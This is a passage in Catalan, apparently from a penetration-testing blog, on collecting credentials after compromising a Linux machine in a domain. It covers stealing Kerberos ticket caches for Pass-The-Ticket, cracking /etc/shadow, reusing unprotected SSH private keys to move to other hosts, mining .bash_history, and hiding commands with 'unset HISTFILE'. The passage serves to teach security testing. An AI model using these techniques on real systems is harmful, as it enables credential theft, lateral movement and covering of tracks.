Adicionalment, quan un usuari del domini ha iniciat la sessió a l’ordinador, es guarda un tiquet de Kerberos. Aquests tiquets els pots utilitzar per suplantar als usuaris del domini. Normalment, aquests tiquets estan al directori /tmp en fitxers amb el següent format krb5cc_%{uid} on uid és l’UID de l’usuari. No obstant això, també és possible que els tiquets s’emmagatzemin al kernel de Linux en lloc de a fitxers, però sempre els podràs aconseguir i convertir a fitxers utilitzant tickey per utilitzar-los amb tècniques com Pass-The-Ticket.

$ ls /tmp/ | grep krb5cc
krb5cc_1000
krb5cc_1569901113
krb5cc_1569901115

Per saber on estan emmagatzemats els tiquets, pots revisar les fitxers de configuració de Kerberos /etc/krb5.conf.

Fitxers d’usuari

Apart de les claus de Kerberos, també pots trobar credencials al fitxer /etc/shadow que conté totes les contrasenyes dels usuaris locals i pots intentar crackejar-les utiltizant hashcat. A vegades, hi ha usuaris i/o administradors que utilitzen les mateixes contrasenyes a altres ordinadors. No obstant això, no pots utlitzar tècniques com Pass-The-Hash ja que sempre necessitaràs la contrasenya per iniciar sessió a un ordinador Linux utilitzant SSH, per exemple.

Claus SSH

Una altra possibilitat és intentar trobar les claus privades SSH, normalment emmgagatzemades al directori .ssh de la carpeta dels usuaris. El nom dels fitxers acostuma a ser id_rsa o id_ed25519.

$ file .ssh/id_ed25519
.ssh/id_ed25519: OpenSSH private key

Si la clau privada no necessita una contrasenya per utilitzar-la, podràs connectar-te a altres ordinadors del domini sense problemes:

$ ssh -i id_ed25519_foo_key foo@db.projectenadki.local

A més a més, si aconsegueixes trobar el fitxer known_hosts al directori .ssh i tens sort, potser hi ha els noms dels ordinadors al que et pots connectar a través d’SSH utilitzant les claus privades. No obstant això, a vegades aquest fitxer té els noms però hashejats. Sempre podràs intentar crackejar-los amb hashcat creant un diccionari de possibles noms d’ordinadors del domini.

Bash history

De la mateixa manera que he explicat anteriorment que Powershell té un històric de comandes, a Linux pots trobar aquesta informació al fitxer .bash_history localitzat a la carpeta de l’usuari. Totes les comandes que s’han introduit a la terminal es guarden aquí. A vegades hi ha sort i l’usuari s’equivoca escribint una contrasenya on no toca i es queda guardada automàticament a l’històric.

Si compromets un ordinador i no vols que les comandes es quedin guardades, pots deshabilitar la variable d’entorn HISTFILE:

$ unset HISTFILE

Altres

A part de tots els llocs que he comentat, no està de més revisar sempre tots els fitxers de configuració de l’ordinador i el directori de l’usuari. Més d’una vegada m’he trobat durant un pentest scripts que utilitzen els administradors per configurar equips amb contrasenyes en clar al codi o usuaris que guarden les seves contrasenyes al fitxer contrasenyes.txt enlloc de a un gestor de contrasenyes com Keepass.

Per saber quins programes guarden credencials, fés un cop d’ull al LaZagne project.

Deixa un comentari